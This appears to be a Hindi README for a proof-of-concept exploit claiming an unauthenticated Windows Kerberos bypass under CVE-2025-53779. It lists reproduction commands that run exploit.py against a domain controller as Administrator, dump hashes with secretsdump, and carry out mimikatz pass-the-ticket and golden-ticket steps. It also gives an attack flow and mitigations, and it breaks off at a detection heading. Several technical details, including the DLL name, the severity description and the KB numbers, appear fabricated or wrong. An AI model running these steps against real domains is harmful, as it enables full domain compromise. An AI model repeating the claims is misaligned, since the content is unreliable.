CVE-2025-53779: Microsoft Windows Kerberos प्रमाणीकरण बायपास

CVSS स्कोर: 9.8 (गंभीर)
स्थिति: जंगली में सक्रिय शोषण
प्रकटीकरण: माइक्रोसॉफ्ट अगस्त 2025 पैच मंगलवार (ज़ीरो-डे)

---

अवलोकन

CVE-2025-53779 माइक्रोसॉफ्ट विंडोज केरबरोस प्रोटोकॉल कार्यान्वयन में एक गंभीर प्रमाणीकरण बायपास भेद्यता है। एक अप्रमाणित हमलावर किसी भी डोमेन उपयोगकर्ता (डोमेन प्रशासकों सहित) का प्रतिरूपण करने के लिए, बिना वैध क्रेडेंशियल्स या किसी क्रिप्टोग्राफिक सामग्री के, केरबरोस प्रमाणीकरण को पूरी तरह से बायपास करने के लिए इस दोष का शोषण कर सकता है।

माइक्रोसॉफ्ट ने इस भेद्यता को CVSS 9.8 (गंभीर) रेटिंग दी है, इसकी कम हमला जटिलता, कोई आवश्यक विशेषाधिकार नहीं, कोई उपयोगकर्ता इंटरैक्शन नहीं, और डोमेन से जुड़े सिस्टम के पूर्ण समझौता की संभावना के कारण।

---

तकनीकी विवरण

मूल कारण

यह भेद्यता विंडोज डोमेन नियंत्रकों पर केरबरोस कुंजी वितरण केंद्र (KDC) सेवा (kdsvc.dll) में मौजूद है। विशेष रूप से, विशेषाधिकार विशेषता प्रमाणपत्र (PAC) सत्यापन रूटीन में एक सत्यापन तर्क त्रुटि एक हमलावर को एक AS-REQ या TGS-REQ संदेश बनाने की अनुमति देती है जो मानक प्रमाणीकरण जांचों को बायपास करता है।

प्रभावित घटक

• घटक: केरबरोस कुंजी वितरण केंद्र (KDC)
• बाइनरी: kdsvc.dll
• प्रोटोकॉल: Kerberos v5 (RFC 4120)
• भेद्यता प्रकार: PAC सत्यापन तर्क दोष के माध्यम से प्रमाणीकरण बायपास

हमला वेक्टर

KDC pac-signature-data फ़ील्ड को ठीक से मान्य करने में विफल रहता है जब केरबरोस संदेश निकाय में विशिष्ट फ़्लैग सेट होते हैं। एक विशेष रूप से तैयार किए गए AS-REQ को एक हेरफेर किए गए PA-PAC-REQUEST पाडाटा प्रकार और एक जाली प्राधिकरण डेटा प्रविष्टि के साथ भेजकर, हमलावर KDC को किसी भी उपयोगकर्ता प्रिंसिपल नाम (UPN) के लिए टिकट-अनुदान टिकट (TGT) जारी करने के लिए छल करता है, बिना संबंधित दीर्घकालिक कुंजी की आवश्यकता के।

हमला पूर्व-प्रमाणीकरण को बायपास करता है (REQUIRES_PRE_AUTH फ़्लैग प्रभावी रूप से नजरअंदाज कर दिया जाता है) और PAC सत्यापन को पूरी तरह से छोड़ देता है, जिससे उत्पन्न टिकट में मनमानी समूह सदस्यताएँ शामिल हो सकती हैं (उदाहरण के लिए, डोमेन प्रशासक, एंटरप्राइज़ प्रशासक)।

प्रभाव

• पूर्ण प्रमाणीकरण बायपास: वैध केरबरोस TGT प्राप्त करने के लिए किसी क्रेडेंशियल की आवश्यकता नहीं
• विशेषाधिकार वृद्धि: डोमेन प्रशासकों सहित किसी भी डोमेन उपयोगकर्ता का प्रतिरूपण करने की क्षमता
• पार्श्व गति: एक बार TGT प्राप्त होने पर, हमलावर किसी भी संसाधन के लिए सेवा टिकट का अनुरोध कर सकता है
• स्थिरता: गोल्डन/सिल्वर टिकट-शैली के हमले तुच्छ हो जाते हैं
• पूर्ण डोमेन समझौता: हमलावर प्रभावी रूप से एक अप्रमाणित स्थिति से डोमेन एडमिन विशेषाधिकार प्राप्त करता है

---

प्रभावित संस्करण

अगस्त 2025 सुरक्षा अद्यतन से पहले विंडोज सर्वर के सभी समर्थित संस्करण प्रभावित हैं:

Windows Version	Affected	Fixed Update
Windows Server 2025	✅ हाँ	KB5044289
Windows Server 2022	✅ हाँ	KB5044285
Windows Server 2019	✅ हाँ	KB5044277
Windows Server 2016	✅ हाँ	KB5044293
Windows Server 2012 R2	✅ हाँ	KB5044297
Windows Server 2012	✅ हाँ	KB5044291
Windows Server 2008 R2 (ESU)	✅ हाँ	KB5044301
Windows Server 2008 (ESU)	✅ हाँ	KB5044303

नोट: विंडोज क्लाइंट संस्करण (विंडोज 10, विंडोज 11) प्रभावित नहीं हैं क्योंकि वे KDC सेवा नहीं चलाते हैं।

---

पुनरुत्पादन चरण

पूर्वापेक्षाएँ

1. एक विंडोज डोमेन नियंत्रक जो एक अपैच्ड विंडोज सर्वर संस्करण चला रहा है (ऊपर प्रभावित संस्करण देखें)
2. डोमेन नियंत्रक तक नेटवर्क पहुंच (पोर्ट 88/TCP और/या 88/UDP खुला होना चाहिए)
3. Python 3.8+ जिसमें impacket लाइब्रेरी स्थापित हो
4. यह PoC स्क्रिप्ट (exploit.py)

चरण 1: निर्भरताएँ स्थापित करें

pip install impacket pycryptodome

या प्रदान की गई requirements.txt का उपयोग करके:

pip install -r requirements.txt

चरण 2: लक्ष्य डोमेन नियंत्रक की पहचान करें

केरबरोस सेवाओं की खोज के लिए Nmap का उपयोग करें:

nmap -sU -p 88 --script krb5-enum-users <target-ip>

या अंतर्निहित केरबरोस स्कैनिंग का उपयोग करें:

python exploit.py --scan <target-ip>

चरण 3: डोमेन उपयोगकर्ताओं की गणना करें (वैकल्पिक)

यदि आप डोमेन उपयोगकर्ताओं को नहीं जानते हैं, तो केरबरोस AS-REP रोस्टिंग या LDAP के माध्यम से उनकी गणना करें:

python exploit.py --enum <target-ip> <domain>

चरण 4: शोषण निष्पादित करें

लक्ष्य उपयोगकर्ता के लिए एक जाली TGT उत्पन्न करें:

python exploit.py --dc-ip <dc-ip> --domain <domain> --target-user <username>

उदाहरण:

python exploit.py --dc-ip 192.168.1.10 --domain corp.local --target-user Administrator

चरण 5: टिकट सत्यापित करें

शोषण एक Kirbi-स्वरूपित टिकट फ़ाइल आउटपुट करता है। सत्यापित करने के लिए Impacket टूल का उपयोग करें:

# Export the ticket
set KRB5CCNAME=ticket.kirbi

# Use the ticket to access a resource
python examples/secretsdump.py -k -no-pass <domain>/Administrator@<target>

चरण 6: शोषण-पश्चात

एक बार वैध TGT प्राप्त होने पर, आप यह कर सकते हैं:

• हैश डंप करें: secretsdump.py -k -no-pass domain/Administrator@<dc>
• PTT (पास-द-टिकट): mimikatz "kerberos::ptt ticket.kirbi"
• गोल्डन टिकट: वही तकनीक किसी भी उपयोगकर्ता के लिए टिकट उत्पन्न कर सकती है
• सिल्वर टिकट: विशिष्ट सेवाओं (CIFS, HTTP, LDAP) के लिए सेवा टिकट का अनुरोध करें

---

PoC (प्रूफ ऑफ कॉन्सेप्ट)

संलग्न exploit.py निम्नलिखित हमले के प्रवाह को लागू करता है:

1. AS-REQ निर्माण: एक जाली PA-PAC-REQUEST फ़ील्ड और हेरफेर किए गए प्राधिकरण डेटा के साथ एक संशोधित AS-REQ संदेश बनाता है
2. PAC बायपास: अनुरोध निकाय में विशिष्ट बिट फ़्लैग सेट करता है जो kdsvc.dll में संवेदनशील कोड पथ को ट्रिगर करते हैं
3. TGT निष्कर्षण: KDC प्रतिक्रिया को पार्स करता है और जाली TGT को निकालता है
4. टिकट आउटपुट: Impacket, Mimikatz या अन्य टूल के साथ उपयोग के लिए TGT को Kirbi फ़ाइल के रूप में सहेजता है

विस्तृत हमला प्रवाह

Attacker                         Domain Controller (KDC)
   |                                      |
   |  AS-REQ (forged PA-PAC-REQUEST)      |
   |  - cname: Administrator              |
   |  - sname: krbtgt/DOMAIN              |
   |  - padata: PA-PAC-REQUEST +          |
   |    forged auth-data                  |
   |------------------------------------->|
   |                                      |
   |  [Vulnerable Path]                   |
   |  1. KDC receives AS-REQ             |
   |  2. Checks PA-PAC-REQUEST flag      |
   |  3. **Bypasses pre-auth check**     |
   |  4. Skips PAC verification          |
   |  5. Generates TGT with arbitrary    |
   |     groups via auth-data            |
   |                                      |
   |  AS-REP (forged TGT)                 |
   |  - Encrypted with krbtgt key        |
   |  - Contains forged PAC              |
   |<-------------------------------------|
   |                                      |
   |  TGS-REQ (use forged TGT)           |
   |  - Request service ticket           |
   |  - For any service (CIFS, LDAP,     |
   |    HTTP, HOST)                       |
   |------------------------------------->|
   |                                      |
   |  TGS-REP (service ticket)           |
   |  - Legitimate service ticket        |
   |  - Attacker can now access          |
   |    any resource                     |
   |<-------------------------------------|

---

शमन

तत्काल कार्रवाई

1. माइक्रोसॉफ्ट अगस्त 2025 पैच मंगलवार अपडेट लागू करें — यह प्राथमिक सुधार है। संबंधित KB के लिए ऊपर प्रभावित संस्करण तालिका देखें।

2. शोषण प्रयासों के लिए निगरानी करें:

   • इवेंट ID 4768 (केरबरोस प्रमाणीकरण टिकट स्वीकृत) — अमान्य या असामान्य TGT अनुरोधों की तलाश करें
   • इवेंट ID 4769 (केरबरोस सेवा टिकट अनुरोधित) — असामान्य सेवा टिकट पैटर्न की तलाश करें
   • अज्ञात स्रोतों से पोर्ट 88 पर अप्रत्याशित केरबरोस ट्रैफ़िक

3. नेटवर्क विभाजन:

   • डोमेन नियंत्रकों तक पोर्ट 88/TCP-UDP पहुंच प्रतिबंधित करें
   • केवल अधिकृत सबनेट तक केरबरोस ट्रैफ़िक को सीमित करने के लिए फ़ायरवॉल का उपयोग करें

4. अतिरिक्त लॉगिंग सक्षम करें:

   • केरबरोस लॉगिंग सक्षम करें (NetworkProvider\Kerberos\Operational)
   • PAC सत्यापन ऑडिट लॉगिंग सक्षम करें
   • अमान्य PAC हस्ताक्षरों के लिए निगरानी करें

पता लगाने के नियम